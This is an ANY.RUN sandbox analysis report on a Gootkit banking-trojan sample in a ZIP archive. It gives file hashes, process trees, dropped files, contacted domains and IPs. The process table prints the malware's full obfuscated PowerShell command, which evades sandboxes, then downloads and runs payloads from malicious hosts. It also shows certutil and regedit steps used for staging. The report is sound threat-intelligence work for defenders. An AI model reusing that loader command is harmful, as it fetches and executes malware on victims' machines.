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File name:

SPAM2.zip

Full analysis: https://app.any.run/tasks/d8f777bd-26cc-46f5-8224-bbaf86ba7d08
Verdict: Malicious activity
Threats:

Gootkit is an advanced banking trojan. It is extremely good at evading detection and has an incredibly effective persistence mechanism, making it a dangerous malware that researchers and organizations should be aware of.

Analysis date: May 15, 2019, 13:08:09
OS: Windows 7 Professional Service Pack 1 (build: 7601, 64 bit)
Tags:
trojan
gootkit
Indicators:
MIME: application/zip
File info: Zip archive data, at least v2.0 to extract
MD5:

719866F667340EBA5CFCD09C9B86ACD4

SHA1:

22258464E32756729E050DF461C28517DB67D241

SHA256:

C03F9CAC4AB5BFCC9B5456C5978E6AE4DB168A4BB8E9F92CE6A37DAE13EF2E1A

SSDEEP:

6144:LoBDGXkGhJAdsZL7BT/NDDoVXOz+tRc6yNF:GCi+LtTpcVXxryF

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • gootkit.exe (PID: 2476)
      • gootkit.exe (PID: 556)
    • GOTKIT detected

      • gootkit.exe (PID: 2476)
    • Changes internet zones settings

      • gootkit.exe (PID: 2476)
  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • WinRAR.exe (PID: 2108)
    • Executes scripts

      • WinRAR.exe (PID: 2108)
    • Reads the machine GUID from the registry

      • WScript.exe (PID: 2616)
      • powershell.exe (PID: 2016)
    • Executable content was dropped or overwritten

      • WinRAR.exe (PID: 2108)
    • Executes PowerShell scripts

      • WScript.exe (PID: 2616)
    • Creates files in the user directory

      • powershell.exe (PID: 2016)
    • Application launched itself

      • gootkit.exe (PID: 2476)
  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipFileName: gootkit.exe
ZipUncompressedSize: 219648
ZipCompressedSize: 185188
ZipCRC: 0xd058848c
ZipModifyDate: 2019:05:15 14:57:03
ZipCompression: Deflated
ZipBitFlag: -
ZipRequiredVersion: 20
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
47
Monitored processes
11
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
drop and start start winrar.exe cmd.exe no specs tzutil.exe no specs certutil.exe no specs regedit.exe no specs regedit.exe no specs regedit.exe wscript.exe no specs powershell.exe #GOOTKIT gootkit.exe gootkit.exe

Process information

PID
CMD
Path
Indicators
Parent process
2108"C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\Desktop\SPAM2.zip"C:\Program Files\WinRAR\WinRAR.exe
explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.60.0
244C:\Windows\system32\cmd.exe /c ""C:\Users\admin\AppData\Local\Temp\Rar$DIa2108.22509\italiano.bat" "C:\Windows\system32\cmd.exeWinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
1392tzutil /s "W. Europe Standard Time"C:\Windows\system32\tzutil.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Time Zone Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
188certutil /decode "C:\Users\admin\AppData\Local\Temp\b64" "C:\Users\admin\AppData\Local\Temp\decoded" C:\Windows\system32\certutil.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
CertUtil.exe
Exit code:
0
Version:
6.1.7601.18151 (win7sp1_gdr.130512-1533)
2124regedit.exe /s "C:\Users\admin\AppData\Local\Temp\decoded"C:\Windows\regedit.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Registry Editor
Exit code:
3221226540
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2688"C:\Windows\regedit.exe" /s "C:\Users\admin\AppData\Local\Temp\decoded"C:\Windows\regedit.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Registry Editor
Exit code:
3221226540
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2204"C:\Windows\regedit.exe" /s "C:\Users\admin\AppData\Local\Temp\decoded"C:\Windows\regedit.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Registry Editor
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2616"C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\Rar$DIa2108.23006\IT155060755342376521807896714438.vbs" C:\Windows\System32\WScript.exeWinRAR.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
2016"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command $scau='';105,102,40,40,40,71,101,116,45,85,73,67,117,108,116,117,114,101,41,46,78,97,109,101,32,45,109,97,116,99,104,32,34,82,85,124,85,65,124,66,89,124,67,78,34,41,32,45,111,114,32,40,40,71,101,116,45,87,109,105,79,98,106,101,99,116,32,45,99,108,97,115,115,32,87,105,110,51,50,95,67,111,109,112,117,116,101,114,83,121,115,116,101,109,32,45,80,114,111,112,101,114,116,121,32,77,111,100,101,108,41,46,77,111,100,101,108,32,45,109,97,116,99,104,32,34,86,105,114,116,117,97,108,66,111,120,124,86,77,119,97,114,101,124,75,86,77,34,41,41,123,101,120,105,116,59,125,59,36,99,106,115,100,61,32,74,111,105,110,45,80,97,116,104,32,36,101,110,118,58,116,101,109,112,32,34,87,105,110,48,49,99,101,46,106,115,34,59,36,103,100,115,101,61,32,74,111,105,110,45,80,97,116,104,32,36,69,78,86,58,85,115,101,114,80,114,111,102,105,108,101,32,34,67,114,121,112,115,114,118,46,101,120,101,34,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,83,116,114,105,110,103,40,34,104,116,116,112,58,47,47,101,109,101,46,101,109,101,114,97,108,100,115,117,114,102,118,105,115,105,111,110,46,99,111,109,47,118,50,105,46,112,104,112,63,110,101,101,100,61,106,115,38,118,105,100,61,112,101,99,49,49,118,98,115,38,97,106,122,104,101,34,41,124,111,117,116,45,102,105,108,101,32,36,99,106,115,100,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,99,106,115,100,59,125,99,97,116,99,104,123,125,59,116,114,121,123,40,78,101,119,45,79,98,106,101,99,116,32,78,101,116,46,87,101,98,67,108,105,101,110,116,41,46,68,111,119,110,108,111,97,100,70,105,108,101,40,34,104,116,116,112,58,47,47,102,97,100,46,99,50,49,97,98,101,108,46,105,110,102,111,47,97,112,105,63,98,99,102,115,98,34,44,36,103,100,115,101,41,59,83,116,97,114,116,45,80,114,111,99,101,115,115,32,36,103,100,115,101,59,125,99,97,116,99,104,123,125,59|%{$tswa=[char]$_;$scau+=$tswa};iex $scau;C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WScript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
2476"C:\Users\admin\AppData\Local\Temp\Rar$EXa2108.24289\gootkit.exe" C:\Users\admin\AppData\Local\Temp\Rar$EXa2108.24289\gootkit.exe
WinRAR.exe
User:
admin
Integrity Level:
MEDIUM
Total events
2 045
Read events
1 043
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
2
Text files
14
Unknown types
0

Dropped files

PID
Process
Filename
Type
2016powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\XD7UISPFT70157IE2LRJ.temp
MD5:
SHA256:
2108WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$DIa2108.22509\italiano.battext
MD5:1EF792C1087122735BE1F937D68AE8A4
SHA256:110DAE47D95110833713E39691180E88DF9DF59AA3FCBCE680B33617D3BDF492
2108WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$EXa2108.24289\italiano.battext
MD5:1EF792C1087122735BE1F937D68AE8A4
SHA256:110DAE47D95110833713E39691180E88DF9DF59AA3FCBCE680B33617D3BDF492
188certutil.exeC:\Users\admin\AppData\Local\Temp\decodedtext
MD5:CC4D5700F092115E8867C7DD6372F0C3
SHA256:3CCF035606E304B96E0AA7B17E045A32C8AA8BD9B7CE664DBA4D9BD87784F018
2108WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$EXa2108.24289\v2i (2)text
MD5:17ED44E5B9261010CB072D882690A2AD
SHA256:372AB229E63CDADC5B30692C42CF72D956B72769E69C338AA00E79412DB8B73E
2108WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$EXa2108.24289\IT155060755342376521807896714438.vbstext
MD5:89A2AB4ED137E19C9373CBB2BA51A180
SHA256:F79E87797EF023405A01230CAD3676481EE60DDE4EE56E07A687EE4634DC612B
2108WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$EXa2108.24289\gootkit.exeexecutable
MD5:2B6BDA7F51D5C16A24A825632B4C9571
SHA256:6E7CA8FB597803DAA11F446E9D0B3EA312D4173DD016A5769B38DF735446294D
2476gootkit.exeC:\Users\admin\AppData\Local\Temp\Rar$EXa2108.24289\gootkit.infini
MD5:CE1BF3A21396E2551C4557EDD58AB29F
SHA256:9087FC3D614473977159A21EDF6956F72E7D18446CB836BAE9A41E894CB535C0
2016powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF1b7e25.TMPbinary
MD5:F43CC4EB1A1A57BEFF0CA6A15E5FED71
SHA256:4A2283B3DCCC6BDBE07CA466FF12C73621F7072B0D1470BDBA1127226449567C
2108WinRAR.exeC:\Users\admin\AppData\Local\Temp\Rar$EXa2108.24289\v2itext
MD5:391509ABFBE673CA3202774F9229FE8A
SHA256:C8204F381F331E3B7F8FFC68187A289297755A87D8657CA48A2F035F8B81AB21
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
8
DNS requests
3
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2016
powershell.exe
GET
185.158.249.122:80
http://eme.emeraldsurfvision.com/v2i.php?need=js&vid=pec11vbs&ajzhe
NL
malicious
2016
powershell.exe
GET
185.212.47.163:80
http://fad.c21abel.info/api?bcfsb
DE
suspicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2016
powershell.exe
185.212.47.163:80
fad.c21abel.info
23media GmbH
DE
unknown
556
gootkit.exe
185.158.249.144:443
ssw.138front.com
easystores GmbH
NL
malicious
2016
powershell.exe
185.158.249.122:80
eme.emeraldsurfvision.com
easystores GmbH
NL
malicious

DNS requests

Domain
IP
Reputation
eme.emeraldsurfvision.com
  • 185.158.249.122
malicious
ssw.138front.com
  • 185.158.249.144
malicious
fad.c21abel.info
  • 185.212.47.163
suspicious

Threats

No threats detected
Process
Message
gootkit.exe
MP3 file corrupted
gootkit.exe
WMA 0
gootkit.exe
OGG 0